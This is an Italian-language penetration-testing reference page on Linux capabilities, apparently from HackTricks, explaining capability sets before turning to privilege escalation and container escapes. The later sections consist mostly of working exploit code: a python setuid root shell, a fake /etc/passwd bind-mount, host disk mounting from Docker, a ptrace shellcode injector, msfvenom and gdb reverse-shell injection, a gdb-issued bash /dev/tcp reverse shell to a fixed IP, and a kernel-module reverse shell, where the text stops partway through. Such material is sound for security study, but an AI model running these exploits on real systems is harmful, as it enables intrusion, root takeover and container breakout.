Linux Capabilities

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

​​​​​​​​​RootedCON è l'evento di sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro bollente per professionisti della tecnologia e della sicurezza informatica in ogni disciplina.\

Linux Capabilities

Le Linux capabilities dividono i privilegi di root in unità più piccole e distinte, consentendo ai processi di avere un sottoinsieme di privilegi. Ciò riduce al minimo i rischi non concedendo inutilmente i pieni privilegi di root.

Il problema:

  • Gli utenti normali hanno autorizzazioni limitate, che influiscono su attività come l'apertura di un socket di rete che richiede l'accesso di root.

Set di capabilities:

  1. Inherited (CapInh):

  • Scopo: Determina le capabilities ereditate dal processo padre.

  • Funzionalità: Quando viene creato un nuovo processo, eredita le capabilities dal processo padre in questo set. Utile per mantenere determinati privilegi tra le generazioni di processi.

  • Limitazioni: Un processo non può acquisire capabilities che il suo processo padre non possedeva.

  1. Effective (CapEff):

  • Scopo: Rappresenta le capabilities effettive che un processo sta utilizzando in un determinato momento.

  • Funzionalità: È l'insieme di capabilities controllate dal kernel per concedere l'autorizzazione a varie operazioni. Per i file, questo set può essere un flag che indica se le capabilities consentite del file devono essere considerate effettive.

  • Importanza: L'insieme effettivo è fondamentale per i controlli immediati dei privilegi, agendo come l'insieme attivo di capabilities che un processo può utilizzare.

  1. Permitted (CapPrm):

  • Scopo: Definisce l'insieme massimo di capabilities che un processo può possedere.

  • Funzionalità: Un processo può elevare una capability dall'insieme consentito al suo insieme effettivo, conferendogli la capacità di utilizzare quella capability. Può anche rimuovere capabilities dal suo insieme consentito.

  • Limite: Agisce come un limite superiore per le capabilities che un processo può avere, garantendo che un processo non superi il proprio ambito di privilegi predefinito.

  1. Bounding (CapBnd):

  • Scopo: Impone un limite alle capabilities che un processo può acquisire durante il suo ciclo di vita.

  • Funzionalità: Anche se un processo ha una determinata capability nel suo insieme ereditabile o consentito, non può acquisire quella capability a meno che non sia anche nell'insieme di bounding.

  • Caso d'uso: Questo insieme è particolarmente utile per limitare il potenziale di escalation dei privilegi di un processo, aggiungendo un ulteriore livello di sicurezza.

  1. Ambient (CapAmb):

  • Scopo: Consente di mantenere determinate capabilities durante una chiamata di sistema execve, che normalmente comporterebbe un reset completo delle capabilities del processo.

  • Funzionalità: Garantisce che i programmi non SUID che non hanno capabilities di file associate possano mantenere determinati privilegi.

  • Limitazioni: Le capabilities in questo insieme sono soggette ai vincoli degli insiemi ereditabili e consentiti, garantendo che non superino i privilegi consentiti al processo.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Per ulteriori informazioni, controlla:

Capacità dei processi e dei binari

Capacità dei processi

Per visualizzare le capacità di un determinato processo, utilizza il file status nella directory /proc. Poiché fornisce maggiori dettagli, limitiamoci solo alle informazioni relative alle capacità di Linux. Nota che per tutti i processi in esecuzione le informazioni sulle capacità sono mantenute per thread, mentre per i binari nel file system sono memorizzate negli attributi estesi.

Puoi trovare le capacità definite in /usr/include/linux/capability.h

Puoi trovare le capacità del processo corrente con cat /proc/self/status o utilizzando capsh --print e di altri utenti in /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Questo comando dovrebbe restituire 5 righe sulla maggior parte dei sistemi.

  • CapInh = Capacità ereditate

  • CapPrm = Capacità consentite

  • CapEff = Capacità effettive

  • CapBnd = Insieme di limitazione

  • CapAmb = Insieme di capacità ambientali

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Questi numeri esadecimali non hanno senso. Utilizzando l'utilità capsh possiamo decodificarli nel nome delle capacità.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Verifichiamo ora le capabilities utilizzate da ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Anche se quella soluzione funziona, c'è un altro modo più semplice. Per visualizzare le capacità di un processo in esecuzione, basta utilizzare lo strumento getpcaps seguito dal suo ID di processo (PID). È anche possibile fornire un elenco di ID di processo.

getpcaps 1234

Verifichiamo qui le capacità di tcpdump dopo aver fornito al binario le capacità sufficienti (cap_net_admin e cap_net_raw) per intercettare il traffico di rete (tcpdump è in esecuzione nel processo 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Come puoi vedere, le capacità fornite corrispondono ai risultati dei 2 modi per ottenere le capacità di un binario. Lo strumento getpcaps utilizza la chiamata di sistema capget() per interrogare le capacità disponibili per un determinato thread. Questa chiamata di sistema richiede solo di fornire il PID per ottenere ulteriori informazioni.

Capacità dei binari

I binari possono avere capacità che possono essere utilizzate durante l'esecuzione. Ad esempio, è molto comune trovare il binario ping con la capacità cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Puoi cercare binari con le capability utilizzando:

getcap -r / 2>/dev/null

Eliminazione delle capacità con capsh

Se eliminiamo le capacità CAP_NET_RAW per ping, l'utilità ping non dovrebbe più funzionare.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Oltre all'output di capsh stesso, il comando tcpdump stesso dovrebbe generare un errore.

/bin/bash: /usr/sbin/tcpdump: Operazione non consentita

L'errore mostra chiaramente che il comando ping non è autorizzato ad aprire un socket ICMP. Ora sappiamo con certezza che questo funziona come previsto.

Rimuovere le Capacità

È possibile rimuovere le capacità di un eseguibile con

setcap -r </path/to/binary>

Capacità degli Utenti

Apparentemente è possibile assegnare le capacità anche agli utenti. Ciò significa probabilmente che ogni processo eseguito dall'utente sarà in grado di utilizzare le sue capacità. Basandosi su questo, questo e questo alcuni file devono essere configurati per dare a un utente determinate capacità, ma quello che assegna le capacità a ciascun utente sarà /etc/security/capability.conf. Esempio di file:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Capacità dell'ambiente

Compilando il seguente programma è possibile generare una shell bash all'interno di un ambiente che fornisce capacità.

ambient.c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

All'interno della bash eseguita dal binario ambientale compilato è possibile osservare le nuove capacità (un utente normale non avrà alcuna capacità nella sezione "corrente").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Puoi aggiungere solo le capacità presenti sia nell'insieme dei permessi che in quello ereditabile.

Binari consapevoli delle capacità / Binari ignoranti delle capacità

I binari consapevoli delle capacità non utilizzeranno le nuove capacità fornite dall'ambiente, mentre i binari ignoranti delle capacità le utilizzeranno poiché non le rifiuteranno. Ciò rende i binari ignoranti delle capacità vulnerabili all'interno di un ambiente speciale che concede capacità ai binari.

Capacità del servizio

Per impostazione predefinita, un servizio in esecuzione come root avrà assegnate tutte le capacità, e in alcune occasioni ciò può essere pericoloso. Pertanto, un file di configurazione del servizio consente di specificare le capacità che si desidera che abbia, e l'utente che dovrebbe eseguire il servizio per evitare di eseguire un servizio con privilegi non necessari:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capacità nei container Docker

Di default, Docker assegna alcune capacità ai container. È molto facile verificare quali sono queste capacità eseguendo:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCON è l'evento di sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

Privesc/Container Escape

Le capacità sono utili quando si desidera limitare i propri processi dopo aver eseguito operazioni privilegiate (ad esempio, dopo aver impostato chroot e collegato a una socket). Tuttavia, possono essere sfruttate passando loro comandi o argomenti dannosi che vengono quindi eseguiti come root.

È possibile forzare le capacità sui programmi utilizzando setcap e interrogarle utilizzando getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

Il +ep significa che stai aggiungendo la capacità ("-" la rimuoverebbe) come Effettiva e Consentita.

Per identificare i programmi in un sistema o una cartella con le capacità:

getcap -r / 2>/dev/null

Esempio di sfruttamento

Nell'esempio seguente viene individuata una vulnerabilità di escalation dei privilegi nel binario /usr/bin/python2.6:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capacità necessarie da tcpdump per consentire a qualsiasi utente di intercettare pacchetti:

To allow any user to sniff packets with `tcpdump`, the following capabilities need to be set:

1. `CAP_NET_RAW`: This capability allows the user to create raw sockets, which is necessary for packet sniffing.

To set these capabilities, you can use the `setcap` command:

```bash
sudo setcap cap_net_raw=eip /usr/sbin/tcpdump

After setting the capabilities, any user will be able to run tcpdump and sniff packets without requiring root privileges.

Per consentire a qualsiasi utente di intercettare pacchetti con tcpdump, è necessario impostare le seguenti capacità:

  1. CAP_NET_RAW: Questa capacità consente all'utente di creare socket raw, che è necessario per l'intercettazione dei pacchetti.

Per impostare queste capacità, è possibile utilizzare il comando setcap:

sudo setcap cap_net_raw=eip /usr/sbin/tcpdump

Dopo aver impostato le capacità, qualsiasi utente sarà in grado di eseguire tcpdump e intercettare pacchetti senza richiedere privilegi di root.

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

Il caso speciale delle "capabilities" vuote

Dalla documentazione: Si noti che è possibile assegnare insiemi di "capabilities" vuoti a un file di programma e quindi è possibile creare un programma con set-user-ID-root che cambia l'ID utente effettivo e salvato del processo che esegue il programma a 0, ma non conferisce alcuna "capability" a tale processo. In altre parole, se si dispone di un binario che:

  1. non è di proprietà di root

  2. non ha impostati i bit SUID/SGID

  3. ha un insieme di "capabilities" vuoto (ad esempio: getcap myelf restituisce myelf =ep)

allora quel binario verrà eseguito come root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN è una "capability" di Linux molto potente, spesso equiparata a un livello quasi di root a causa dei suoi ampi privilegi amministrativi, come il montaggio di dispositivi o la manipolazione delle funzionalità del kernel. Sebbene indispensabile per i contenitori che simulano interi sistemi, CAP_SYS_ADMIN presenta significativi problemi di sicurezza, specialmente in ambienti containerizzati, a causa del suo potenziale per l'elevazione dei privilegi e la compromissione del sistema. Pertanto, il suo utilizzo richiede rigorose valutazioni di sicurezza e una gestione cauta, con una forte preferenza per la rimozione di questa "capability" nei contenitori specifici dell'applicazione per aderire al principio del privilegio minimo e ridurre al minimo la superficie di attacco.

Esempio con binario

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Utilizzando python è possibile montare un file passwd modificato sopra il vero file passwd:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

E infine monta il file passwd modificato su /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

E sarai in grado di su come root utilizzando la password "password".

Esempio con ambiente (Docker breakout)

Puoi verificare le capacità abilitate all'interno del container Docker utilizzando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

All'interno dell'output precedente è possibile vedere che la capacità SYS_ADMIN è abilitata.

  • Montaggio

Ciò consente al container docker di montare il disco dell'host e accedervi liberamente:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • Accesso completo

Nel metodo precedente siamo riusciti ad accedere al disco dell'host Docker. Nel caso in cui tu scopra che l'host sta eseguendo un server ssh, potresti creare un utente all'interno del disco dell'host Docker e accedervi tramite SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Questo significa che puoi sfuggire al contenitore iniettando uno shellcode all'interno di un processo in esecuzione nell'host. Per accedere ai processi in esecuzione nell'host, il contenitore deve essere eseguito almeno con --pid=host.

CAP_SYS_PTRACE concede la possibilità di utilizzare funzionalità di debug e tracciamento delle chiamate di sistema fornite da ptrace(2) e chiamate di attacco cross-memory come process_vm_readv(2) e process_vm_writev(2). Sebbene potente per scopi di diagnostica e monitoraggio, se CAP_SYS_PTRACE è abilitato senza misure restrittive come un filtro seccomp su ptrace(2), può compromettere significativamente la sicurezza del sistema. In particolare, può essere sfruttato per eludere altre restrizioni di sicurezza, in particolare quelle imposte da seccomp, come dimostrato da proof of concept (PoC) come questo.

Esempio con binario (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Esempio con binario (gdb)

gdb con la capacità ptrace:

/usr/bin/gdb = cap_sys_ptrace+ep

Creare uno shellcode con msfvenom per l'iniezione in memoria tramite gdb

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c -b "\x00" -o shellcode.c

Questo comando crea uno shellcode utilizzando msfvenom per l'iniezione in memoria tramite gdb. Assicurati di sostituire <IP> con l'indirizzo IP del tuo listener e <PORT> con la porta del tuo listener. Il parametro -f c specifica il formato di output come codice C. Il parametro -b "\x00" esclude i byte null dallo shellcode. Infine, l'opzione -o shellcode.c specifica il nome del file di output come "shellcode.c".

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")

Debugga un processo root con gdb e copia-incolla le righe gdb generate in precedenza:

$ gdb -p <pid>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) run
$ gdb -p <pid>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) run
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

Esempio con ambiente (Docker breakout) - Un altro abuso di gdb

Se GDB è installato (o puoi installarlo con apk add gdb o apt install gdb, ad esempio) puoi debuggare un processo dall'host e farlo chiamare la funzione system. (Questa tecnica richiede anche la capacità SYS_ADMIN).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

Non sarai in grado di vedere l'output del comando eseguito, ma verrà eseguito da quel processo (quindi ottieni una shell inversa).

Se ricevi l'errore "No symbol "system" in current context.", controlla l'esempio precedente caricando uno shellcode in un programma tramite gdb.

Esempio con ambiente (Docker breakout) - Iniezione di shellcode

Puoi verificare le capacità abilitate all'interno del container Docker utilizzando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

Elencare i processi in esecuzione nell'host ps -eaf

  1. Ottenere l'architettura uname -m

  2. Trovare uno shellcode per l'architettura (https://www.exploit-db.com/exploits/41128)

  3. Trovare un programma per iniettare lo shellcode nella memoria di un processo (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)

  4. Modificare lo shellcode all'interno del programma e compilarlo gcc inject.c -o inject

  5. Iniettarlo e ottenere la tua shell: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

CAP_SYS_MODULE permette a un processo di caricare e scaricare moduli del kernel (chiamate di sistema init_module(2), finit_module(2) e delete_module(2)), offrendo un accesso diretto alle operazioni principali del kernel. Questa capacità presenta rischi di sicurezza critici, in quanto consente l'escalation dei privilegi e la compromissione totale del sistema, consentendo modifiche al kernel e bypassando tutti i meccanismi di sicurezza di Linux, inclusi i moduli di sicurezza di Linux e l'isolamento dei container. Ciò significa che è possibile inserire/rimuovere moduli del kernel nel/dal kernel della macchina host.

Esempio con un binario

Nell'esempio seguente, il binario python ha questa capacità.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

Di default, il comando modprobe controlla la lista delle dipendenze e i file di mappatura nella directory /lib/modules/$(uname -r). Per sfruttare ciò, creiamo una falsa cartella lib/modules:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

Quindi compila il modulo del kernel che puoi trovare 2 esempi di seguito e copialo in questa cartella:

cp reverse-shell.ko lib/modules/$(uname -r)/

Infine, esegui il codice Python necessario per caricare questo modulo del kernel:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Esempio 2 con binario

Nell'esempio seguente, il binario kmod ha questa capacità.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

Ciò significa che è possibile utilizzare il comando insmod per inserire un modulo del kernel. Segui l'esempio di seguito per ottenere una shell inversa sfruttando questo privilegio.

Esempio con ambiente (Docker breakout)

È possibile verificare le capacità abilitate all'interno del container Docker utilizzando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

All'interno dell'output precedente è possibile vedere che la capacità SYS_MODULE è abilitata.

Creare il modulo del kernel che eseguirà una shell inversa e il Makefile per compilarlo:

reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
